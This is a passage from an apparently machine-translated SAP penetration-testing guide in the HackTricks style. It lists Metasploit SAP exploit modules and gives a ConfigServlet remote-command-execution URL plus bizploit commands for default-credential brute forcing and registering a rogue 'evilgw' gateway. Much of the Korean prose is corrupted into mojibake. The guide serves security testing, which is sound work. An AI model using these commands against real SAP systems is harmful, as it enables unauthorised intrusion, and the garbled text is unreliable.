auxiliary/scanner/sap/sap_soap_rfc_read_table normal SAP /sap/bc/soap/rfc SOAP Service RFC_READ_TABLE Function Dump Data
auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir normal SAP SOAP RFC RZL_READ_DIR_LOCAL Directory Contents Listing
auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface normal SAP /sap/bc/soap/rfc SOAP Service SUSR_RFC_USER_INTERFACE Function User Creation
auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Execution
auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec normal SAP SOAP RFC SXPG_COMMAND_EXECUTE
auxiliary/scanner/sap/sap_soap_rfc_system_info normal SAP /sap/bc/soap/rfc SOAP Service RFC_SYSTEM_INFO Function Sensitive Information Gathering
auxiliary/scanner/sap/sap_soap_th_saprel_disclosure normal SAP /sap/bc/soap/rfc SOAP Service TH_SAPREL Function Information Disclosure
auxiliary/scanner/sap/sap_web_gui_brute_login normal SAP Web GUI Login Brute Forcer
exploit/multi/sap/sap_mgmt_con_osexec_payload 2011-03-08 excellent SAP Management Console OSExecute Payload Execution
exploit/multi/sap/sap_soap_rfc_sxpg_call_system_exec 2013-03-26 great SAP SOAP RFC SXPG_CALL_SYSTEM Remote Command Execution
exploit/multi/sap/sap_soap_rfc_sxpg_command_exec 2012-05-08 great SAP SOAP RFC SXPG_COMMAND_EXECUTE Remote Command Execution
exploit/windows/browser/enjoysapgui_comp_download 2009-04-15 excellent EnjoySAP SAP GUI ActiveX Control Arbitrary File Download
exploit/windows/browser/enjoysapgui_preparetoposthtml 2007-07-05 normal EnjoySAP SAP GUI ActiveX Control Buffer Overflow
exploit/windows/browser/sapgui_saveviewtosessionfile 2009-03-31 normal SAP AG SAPgui EAI WebViewer3D Buffer Overflow
exploit/windows/http/sap_configservlet_exec_noauth 2012-11-01 great SAP ConfigServlet Remote Code Execution
exploit/windows/http/sap_host_control_cmd_exec 2012-08-14 average SAP NetWeaver HostControl Command Injection
exploit/windows/http/sapdb_webtools 2007-07-05 great SAP DB 7.4 WebTools Buffer Overflow
exploit/windows/lpd/saplpd 2008-02-04 good SAP SAPLPD 6.28 Buffer Overflow
exploit/windows/misc/sap_2005_license 2009-08-01 great SAP Business One License Manager 2005 Buffer Overflow
exploit/windows/misc/sap_netweaver_dispatcher 2012-05-08 normal SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow
- ์ ์๋ ค์ง ์ต์คํ๋ก์์ ์ฌ์ฉํด ๋ณด์ธ์ (Exploit-DB๋ฅผ ํ์ธํ์ธ์) ๋๋ SAP ํฌํธ์์ ์ค๋๋ ํ์ง๋ง ์ฌ์ ํ ์ ์ฉํ โSAP ConfigServlet ์๊ฒฉ ์ฝ๋ ์คํโ๊ณผ ๊ฐ์ ๊ณต๊ฒฉ์ ์๋ํด ๋ณด์ธ์:
http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=uname -a

- Discovery ๋จ๊ณ์์ bizploit ์คํฌ๋ฆฝํธ์
start๋ช ๋ น์ ์คํํ๊ธฐ ์ ์, ์ทจ์ฝ์ ํ๊ฐ๋ฅผ ์ํํ๊ธฐ ์ํด ๋ค์์ ์ถ๊ฐํ ์ ์์ต๋๋ค:
bizploit> plugins
bizploit/plugins> vulnassess all
bizploit/plugins> vulnassess config bruteLogin
bizploit/plugins/vulnassess/config:bruteLogin> set type defaultUsers
bizploit/plugins/vulnassess/config:bruteLogin> set tryHardcodedSAPStar True
bizploit/plugins/vulnassess/config:bruteLogin> set tryUserAsPwd True
bizploit/plugins/vulnassess/config:bruteLogin> back
bizploit/plugins> vulnassess config registerExtServer
bizploit/plugins/vulnassess/config:registerExtServer> set tpname evilgw
bizploit/plugins/vulnassess/config:registerExtServer> back
bizploit/plugins> vulnassess config checkRFCPrivs
bizploit/plugins/vulnassess/config:checkRFCPrivs> set checkExtOSCommands True
bizploit/plugins/vulnassess/config:checkRFCPrivs> back
bizploit/plugins> vulnassess config icmAdmin
bizploit/plugins/vulnassess/config:icmAdmin> set adminURL /sap/admin
bizploit/plugins/vulnassess/config:icmAdmin> back
bizploit/plugins> start
bizploit/plugins> back
bizploit> start
ํ ์คํธ๋ฅผ ์ํ ๊ธฐํ ์ ์ฉํ ๋๊ตฌ
- PowerSAP - SAP ๋ณด์์ ํ๊ฐํ๊ธฐ ์ํ Powershell ๋๊ตฌ
- Burp Suite - ๋๋ ํ ๋ฆฌ ํผ์ง ๋ฐ ์น ๋ณด์ ํ๊ฐ์ ํ์
- pysap - SAP ๋คํธ์ํฌ ํ๋กํ ์ฝ ํจํท์ ์์ฑํ๊ธฐ ์ํ Python ๋ผ์ด๋ธ๋ฌ๋ฆฌ
- https://github.com/gelim/nmap-erpscan - nmap์ด SAP/ERP๋ฅผ ๊ฐ์งํ๋๋ก ๋๊ธฐ
์ฐธ๊ณ ๋ฌธํ
- SAP Penetration Testing Using Metasploit
- https://github.com/davehardy20/SAP-Stuff - Bizploit์ ๋ฐ์๋ํํ๋ ์คํฌ๋ฆฝํธ
- SAP NetWeaver ABAP ๋ณด์ ๊ตฌ์ฑ 3๋ถ: ์ ํ๋ฆฌ์ผ์ด์ ์ ๊ทผ์ ์ํ ๊ธฐ๋ณธ ๋น๋ฐ๋ฒํธ
- SAP ๋ณด์๊ณผ ๊ด๋ จ๋ ABAP ํธ๋์ญ์ ์ฝ๋ ๋ชฉ๋ก
- SAP ํฌํธ ํดํน
- ๊ฐ์ฅ ํฅ๋ฏธ๋ก์ด SAP ์ทจ์ฝ์ ๋ฐ ๊ณต๊ฒฉ 10๊ฐ์ง
- Bizploit์ ํตํ SAP ์ํ๊ณ ๋ณด์ ํ๊ฐ: ๋ฐ๊ฒฌ
- https://www.exploit-db.com/docs/43859
- https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/
- https://github.com/shipcod3/mySapAdventures
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


